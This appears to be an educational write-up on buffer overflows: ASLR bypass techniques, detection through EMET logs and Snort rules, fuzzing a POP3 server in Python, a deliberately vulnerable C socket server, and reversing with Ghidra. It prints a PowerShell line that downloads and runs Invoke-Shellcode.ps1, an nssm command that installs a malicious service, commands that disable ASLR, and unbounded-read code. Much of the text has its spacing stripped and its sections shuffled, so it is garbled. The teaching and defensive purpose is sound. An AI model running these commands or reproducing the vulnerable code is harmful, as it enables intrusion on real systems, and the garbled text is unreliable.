Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

-----------------WARNING------------------------intread_bytes=read(cli_fdbufferto_read)hasabufferoverflowvulnerabilitybecauseto_readcanbemuchlargerthanthemacrodefined1024Thatsbecausethereisnobytelengthvalidationonto_readbeforeweplaceintobufferof1024meh intread_bytes=read(cli_fdbufferto_read)printf(Readdbytesnread_bytes)printf(Incomingmessagesnbuffer)intmain(intargccharargv)if(argclt2)printf(Usages[port]nargv[0])exit(1)sockfdisafiledescriptorsiearraysubscriptsintothefiledescriptortableThesetwovariablesstorethevaluesreturnedbythesocketsystemcallandtheacceptsystemcallportstorestheportnumberonwhichtheserveracceptsconnectionscli_lenstoresthesizeoftheaddressoftheclientThisisneededfortheacceptsystemcallintportsock_fdcli_fdsocklen_tcli_lenAsockaddr_inisastructurecontaininganinternetaddressThisstructureisdefinedinltnetinetinhgtstructsockaddr_inserv_addrcli_addrThesocket()systemcallcreatesanewsocketIttakesthreeargumentsThefirstistheaddressdomainofthesocketRecallthattherearetwopossibleaddressdomainstheunixdomainfortwoprocesseswhichshareacommonfilesystemandtheInternetdomainforanytwohostsontheInternetThesymbolconstantAF_UNIXisusedfortheformerandAF_INETforthelatter(thereareactuallymanyotheroptionswhichcanbeusedhereforspecializedpurposes)ThesecondargumentisthetypeofsocketRecallthattherearetwochoiceshereastreamsocketinwhichcharactersarereadinacontinuousstreamasiffromafileorpipeandadatagramsocketinwhichmessagesarereadinchunksThetwosymbolicconstantsareSOCK_STREAMandSOCK_DGRAMThethirdargumentistheprotocolIfthisargumentiszero(anditalwaysshouldbeexceptforunusualcircumstances)theoperatingsystemwillchoosethemostappropriateprotocolItwillchooseTCPforstreamsocketsandUDPfordatagramsocketsThesocketsystemcallreturnsanentryintothefiledescriptortable(ieasmallinteger)ThisvalueisusedforallsubsequentreferencestothissocketIfthesocketcallfailsitreturns-1InthiscasetheprogramdisplaysanderrormessageandexitsHoweverthissystemcallisunlikelytofailThisisasimplifieddescriptionofthesocketcalltherearenumerousotherchoicesfordomainsandtypesbutthesearethemostcommonsock_fd=socket(AF_INETSOCK_STREAM0)

if(sock_fdlt0)printf(Erroropeningasocketn)exit(1)Anin_addrstructuredefinedinthesameheaderfilecontainsonlyonefieldaunsignedlongcalleds_addrforserveraddressThevariableserv_addrwillcontaintheaddressoftheserverandcli_addrwillcontaintheaddressoftheclientwhichconnectstotheserverTheportnumberonwhichtheserverwilllistenforconnectionsispassedinasanargumentandthisstatementusestheatoi()functiontoconvertthisfromastringofdigitstoanintegerport=atoi(argv[1])serv_addrsin_family=AF_INETserv_addrsin_addrs_addr=INADDR_ANYserv_addrsin_port=htons(port)Thebind()systemcallbindsasockettoanaddressinthiscasetheaddressofthecurrenthostandportnumberonwhichtheserverwillrunIttakesthreeargumentsthesocketfiledescriptortheaddresstowhichisboundandthesizeoftheaddresstowhichitisboundThesecondargumentisapointertoastructureoftypesockaddrbutwhatispassedinisastructureoftypesockaddr_inandsothismustbecasttothecorrecttypeThiscanfailforanumberofreasonsthemostobviousbeingthatthissocketisalreadyinuseonthismachineif(bind(sock_fd(structsockaddr)ampserv_addrsizeof(serv_addr))lt0)printf(Erroronbind()n)exit(1)ThelistensystemcallallowstheprocesstolistenonthesocketforconnectionsThefirstargumentisthesocketfiledescriptorandthesecondisthesizeofthebacklogqueueiethenumberofconnectionsthatcanbewaitingwhiletheprocessishandlingaparticularconnectionThisshouldbesetto5themaximumsizepermittedbymostsystemsIfthefirstargumentisavalidsocketthiscallcannotfailandsothecodedoesntcheckforerrors printf(Waitingforaconnectionn)listen(sock_fd1)while(1)infiniteloopTheaccept()systemcallcausestheprocesstoblockuntilaclientconnectstotheserverThusitwakesuptheprocesswhenaconnectionfromaclienthasbeensuccessfullyestablishedItreturnsanewfiledescriptorandallcommunicationonthisconnectionshouldbedoneusingthenewfiledescriptorThesecondargumentisareferencepointertotheaddressoftheclientontheotherendoftheconnectionandthethirdargumentisthesizeofthisstructurecli_len=sizeof(cli_addr)cli_fd=accept(sock_fd(structsockaddr)ampcli_addrampcli_len)if(cli_fdlt0)printf(Erroronaccept()n)exit(1)printf(Connectionacceptedn)

vuln_read(cli_fd)charmessage[]=HellotheretrytoPwnmeifyourea1773H4x0rlolznwrite(cli_fdmessagestrlen(message))close(cli_fd)sleep(1)return0

BasicsofFuzzingLetrsquosgetonethingoutofthewayIambynomeansamasteroffuzzingLikethisentiredocumentIonlywritetore-enforcemyownpersonallearningandmaybehaveausefulreferenceformyselforfriendslaterPerOWASPldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoThereare3generictypesoffuzzers

ApplicationFuzzers ProtocolFuzzers FileFormattingFuzzers

TolearnthecoreconceptsIstartedbytakingapurestapproachandlearningthebasicsoffuzzingwithmanualcommand-lineandalittlebitofpythonAllyouneedisthegeneralcuriosityofldquoWhathappenswhenItypethisinrdquoHoweverwhendealingwithlargebuffersorvariouscombinationandpermutationyoumayneedtowritesomeforandwhileloopsinascriptinglanguageorusedpre-computedwellknownbadparameterlistslikethosefoundherehttpsgithubcomdanielmiesslerSecListstreemasterFuzzing

FuzzingforOverflows-GettheArsquosBrsquosandCrsquosAsimpleandwellknownpythonexamplecanbefoundfloatingaroundGithubandBlogstoexploitanoldPOP3serverOfcourseyouneedtoknowsomebasicsofthePOP3protocolcommandThebelowcodeisagoodexampleofgrowingavalueinbyte-sizebeyondtheallocatedmemorysizeThisexampledoesntfocusonfuzzingldquoWebapplicationrdquoresponsesbutinsteadfocusesonsimplebytesizebasedbufferoverflowEventuallytheapplicationcrasheswithasegmentationfaultwhen

FuzzerBuffergtApplicationBuffer

WersquolluseabunchofArsquosBrsquosandCrsquostolocatethespaceinmemorywehavewrittenintoYoucanpickwhatevervaluesyouwantbutstartingwritingoutafewwellknownHEXcodesmakesiteasyforanooblikemyselftoseewhendiggingintothestackandbufferduringdebuggingHereareacouplepiecesofPythonscriptthatcanbere-usedforvariousoccasionsusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((19216801110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()AnotherexamplemightbetogeneraterandomAlphaNumericvaluestothrowatyourapplicationargumentsThevalueofperformingthisofthismightdependonwhattypeofbehavioryourtryingtoinvokeimportsysfromrandomimportrandintsamplefromfuzzerimportFuzzerclassAlphaNumericFuzzer(Fuzzer)Afuzzerthatproducesunstructuredalphanumericoutputdef__init__(selfmin_lengthmax_length)super()__init__()self_min_length=min_lengthself_max_length=max_lengthself_alphabet=set(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789)propertydefmin_length(self)returnself_min_length

propertydefmax_length(self)returnself_max_lengthdefgenerate(self)data=[]start=selfmin_lengthend=0ifselfmax_lengthisnotNoneend=randint(startselfmax_length)elseend=randint(startsysmaxsize)foriinrange(startend)dataappend(sample(self_alphabet1)[0])self_casesappend(join(data))returnjoin(data)AnothersimplecommandforthemanualtestinginthisPoCareasfollowspython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]DonrsquotworryifthesecommandsareconfusingwersquorebuildinguptoexamplesThegoalhereistolearntowriteBOmalwareReversecompiledBbinarieshowtowritethebasicsoflowlevelCprogrammingSocketProgrammingandAssemblyHoweverthereareplentyofldquopre-definedrdquolistsofwellknownbadparameterstopassintoinputfieldsandheadersviaallsortsofWeb-AppproxytoolsMaybeforanothertimeIntelligentvsDumbFuzzingIjustgotoutofanembeddedsystemexploitationclasstaughtbysomebrilliantexploitresearchersanddevelopersfromRaytheonMartinHodoakaldquoShellcodeMercenaryrdquosaidsomethingIthoughtwasagreatstickingpointldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoInthisexampleweareluckyenoughtohaveaccesstosomesourcecodeThereisagoodexampleinthesourcecodethatprovesMartinrsquospointServer-SideSourceCodeExampledefineHEADER_SIZE4charbuffer[BUFFER_BOUNDARY_SIZE]intto_readread(cli_fdampto_readHEADER_SIZE)printf(Willreaddbytesnto_read)

Client-SideCodeCodeExampledefconvert(message)raw=raw+=structpack(ltIlen(message))raw+=messagereturnrawWhyisthisimportantWhatpointdoesthisillustrateMyhumbleopinionisthattheapplicationmaybeexpectingaveryparticularsetofstringsbeforeprocessinganydatainthebufferitselfForexamplemaybethesocketyourcommunicatingisexpectingsomesortofpreamble2byteflagsorevenasimpleldquoHellordquoprefixMorerealisticallytheclientcouldsendsometypeofuniqueOSflagClientVersionFlagHelloorwhoknowswhatInthiscasethereisanexpectationthatthefirst4byteswillincludethelengthoftheclientpayloadThelengthoftheclientpayloadisofcoursecalculatedbythepythonclientAdnthatrsquosjustaweirdnuanceofthiscodeandprobablynoothercodeSoifyoutrytoconnectdirectlytothesocketandthrowaldquoBunchofArsquosrdquoatthelistenermaybetheldquoAsrdquowillgettothenextfunctionfortheoverflowORmaybetheldquoArsquosrdquowonrsquotevenmakeitbecauseofsomemissingpre-fixlogicstuffthatisuniquetotheapplicationExampleofOverflowcrashusingPrefix

InthiscasewewereluckyandourldquoArsquosrdquoorldquox41rdquomadeitthroughandoverwrotetheinstructionpointerThismaynotmeanmuchtothosenewtotheBufferOverflowconceptbutdonrsquotworrybecausethepointisldquothehackworkedrdquobecauseweknewtheservicewasexpectinga4byteofprefixThemoreyouunderstandwhattheapplicationexpectsthemorelikelyyouaregettingintodeeperpartsinthecode Nowletrsquostakealookatblindlyfuzzingwithoutunderstandingtheclient-serversourcecode

ExampleofOverflowusingBlindNecatTelnetpayloadwithoutthePrefix

WhathappenedhereItwouldappearthatwesentthesamenumberofldquoArsquosrdquototheprogrambutweexitednormallyanddidnotreceiveasegmentationfaultattheinstructionpointerWhyWellwithoutknowingthesourcecodewecanrsquotreallysayAlthowecanguessthatwithouttheldquoPrefixrdquobytesthenwearenotover-writingthestackenoughandneedmoreldquoArsquosrdquoAlsolookhowtheldquoWillReadrdquoandldquoReadrdquoseemstobeallwhackyandnotmakemuchsensePreviouslytheclientpyscriptsentthestringldquo1050rdquointhemessageandtheservertolduswesent1050bytesbutonlybecauseldquo1050rdquostringwasprefixedontothemessageviatheclientSincethenetcatcommanddoesnrsquothavethatlogictheldquoprefixrdquoismissingandourserversidecodedoesnrsquotknowwhattodoThiscouldresultinsomelogicfailureearlyinthesourcecodekeepingyoufromfeedingthoseldquoArsquosrdquointoavulnerablefunctionthathidesdeeperinthestackwaitingforajuicy0-day(-

ReversingCompiledBinariesInthecaseoftheexampleclientpywegetluckyandcansimplyreverseengineerthepythonsourcecodeIfweweredealingwithacompiledclientbinarythenIrsquodsaystartwithldquofilerdquoandldquostringsrdquocommandandthenmoveontode-compliationLetrsquostryfileandstringsonourserversidecompiledcodejustforkicks

WecanseeitsacompiledELFbinarythepre-processordirectivebeingusedandlaterinthestdoutofstringcommandwecanseethestringtheprintfgivesusRememberifweonlyhadthecompiledbinariestoworkwiththensuccessfullyfuzzingthisapplicationmaygiveusproblemsbecauseoftheunknownldquoprefixrdquothatisappendedtotheclientpymessageSohowdowefigurethisoutifwedonthaveaccesstothesource-codeNSAGHIDRAtotheRescueOurfriendsattheNSArecentlyannouncedwhatIconsideraprettykickasstoolGHIDRAToquotedirectlyfromWIKIldquoGhidraisafreeandopensourcereverseengineeringtooldevelopedbytheNationalSecurityAgency(NSA)ThebinarieswerereleasedatRSAConferenceinMarch2019thesourceswerepublishedonemonthlateronGitHubGhidraisseenbymanysecurityresearchersasacompetitortoIDAProandJEBDecompilerrdquo

LetrsquossayonewayoranotherwegetourhandsonsomecompiledclientorserverbinariesandneedtodoadeepdivemaybetodevelopourownmyintelligentfuzzerWhatmightthatlooklikeDownloadtheGhidrasourcecompileandrunThensimplyimportyourbinaryThatrsquosit

YoursquollwanttousetheldquoCodeBrowserrdquointheGHIDRAtoolchestFromthereimportyourcompiledbinaryGhidrawilldothede-compilationmagicforyoufromthereAsillustratedbelowIrsquovepulledupthecompiledvulnServerCassemblycodeandGhidarsquosguessatthede-compiledfunctionsourcecodeThesourcecodewonrsquotmatchexactlybutyouwillbeabletoviewthefunctionandthelogicwhichwillallowyoutofindinsecurefunctionsandcustomfunctionsthatcreatesimilarproblems

WhatdoesallthismeanWellIbasicallywentthrougheachfunctionlookingforanyargumentthatmightbeinterestingIfyounoticedIrsquovehighlightedthex86op-codeatmemorylocation0x001012dwhichinvokesaCALLtoREAD()andsomesubsequentMOVrsquoswhicharelikelyaddingnewthe4BytestosomememorylocationThecorrespondingCcodeforthatassemblyissograciouslypositionedtotherightofourassemblyinstructionsLetrsquoslearnalittlebitabouttheREAD()functioninC

ssize_tread(intfsvoidbufsize_tN)ldquoFromthefileindicatedbythefiledescriptorfstheread()functionreadsNbytesofinputintothememoryareaindicatedbybufrdquoSotheprogrammerherewrotethisapplicationtoonlyreadthefirst4bytesofsomethingReadingfurtherintothedecompiledsourceweprintfthattellsuswerereadingtheldquoMessagerdquoakathepayloadorclientissendingSowersquorereadingthefirst4bytesoftheclientpayloadandstoringitintoavariablethatisthenbeingprintedbacktousinthevulnerableServerwhichprintsitrsquosldquoValuerdquoakanumberofBytes

Itlookslikethisisa4byteldquopre-fixrdquowhichisbasicallytheLEN(PAYLOAD)sentfromtheclientYoucanvalidatethisbelookingbackatthepythonclientcode

FormetheimportanttakeawaygoesbacktothatquoteearlierldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfwewereinadifferentsituationandwehadtowriteourownPythonfuzzingclientfromscratchwenowknowwhattheserverisexpectingfromtheclientFromherewecanreverseengineerourownfuzzingclientinwhateverlanguageyouwantWhenIfirstlearnedbufferoverflowsitwaswithwellknownvulnerableserversandtheldquoclientrequestrdquomessagewaswelldocumentedTherealityisthatdeeperstaticcodeanalysisisgenerallyrequiredforbufferoverflowsresearch

CrashingtheStackFinallyrightitrsquosalongstrangetripSo

WehavesomebasicskillsinC WehaveavulnerableCserverlisteningonthelocalnetwork WehaveeitheracustomorgenericclientforcommunicationtotheVulnerableServer WeunderstandweneedtoFuzztheprogramsarguments

Weusedsometoolstoreverseengineercompiledbinariesincaseweneedtogetcreativewiththefuzzypayload

Asaself-taughttechnologistoneofthemostdifficultareasIstruggledwithwasunderstandingwhatwasgoingonunderthehoodIstartedmyldquoTechyrdquojourneywritingJavaSCriptandHTMLbecauseitwaseasyandIcouldgetimmediatevisualfeedbackviachangesinthebrowserWorkingdownthestackintoCprogramingandx86x64LinuxandWindowsarchitectureswasandstillisnoteasyEitherWaylearninglowleveldebuggingisnecessaryWhatrsquosabufferldquoAbufferissimplyacontiguousblockofcomputermemorythatholdsmultipleinstancesofthesamedatatypeCprogrammersnormallyassociatewiththewordbufferarraysMostcommonlycharacterarraysArrayslikeallvariablesinCcanbedeclaredeitherstaticordynamicStaticvariablesareallocatedatloadtimeonthedatasegmentDynamicvariablesareallocatedatruntimeonthestackTooverflowistofloworfilloverthetopbrimsorboundsWewillconcernourselvesonlywiththeoverflowofdynamicbuffersotherwiseknownasstackbasedbufferoverflowsrdquo-SmashingtheStackbyAlephOneMostconfusingtomewashowthestackrelatesbacktoBufferandhowtheassemblylanguagefitsintothepuzzleSomeself-pacedlabshadmebreakopenadebuggertothesightofthishellip

TheScarydebuggerUI

IpersonallydecidedtogetofftheUIdebuggerbecauseitldquohadtoomanywindowsrdquoatthetimeLaterinthispaperIflipbacktotheUIbecauseitmadememorydumpseasytovisualizeWewillstartwithlinuxGDBintheterminalJustseemedalotcleanerviewandteachesyoumoreabouttheGUIversionAlthoughlearningtheterminalcommandstakemoretimethanclickingawindowtheyarebestforbeginners

NativeEDBinTerminal

OkaysoIputthesepicturesfirsttoputthebigbadscaryscreenswithldquoTheMatrixrdquofontoutofthewayHonestlyitrsquosnotthatbadIrsquovesynthesizedmynotesdowntoafewimportantthingsUnderstandtheBasicsofMemoryManagementIfoundanarticlethatbrokedownthebasicsofmemoryandthestackinawaythatreallyhelpedputthepiecestogetherAsanyonemovespastbasicNOPsledsintomoreadvancedexploitwritingthefollowingnotesareabsolutelycriticalFlipbackandforthbetweenthedefinitionsandtheimagesafewtimes

1 CommandlineargumentsandenvironmentvariablesTheargumentspassedtoaprogrambeforerunningandtheenvironmentvariablesarestoredinthehighmemoryaddresssection

2 StackThisistheplacewhereallthefunctionparametersreturnaddressesandthelocalvariablesofthefunctionarestoredItrsquosaLIFOstructureItgrowsdownwardinmemory(fromhigheraddressspacetoloweraddressspace)asnewfunctioncallsaremadeWewillexaminethestackinmoredetaillater

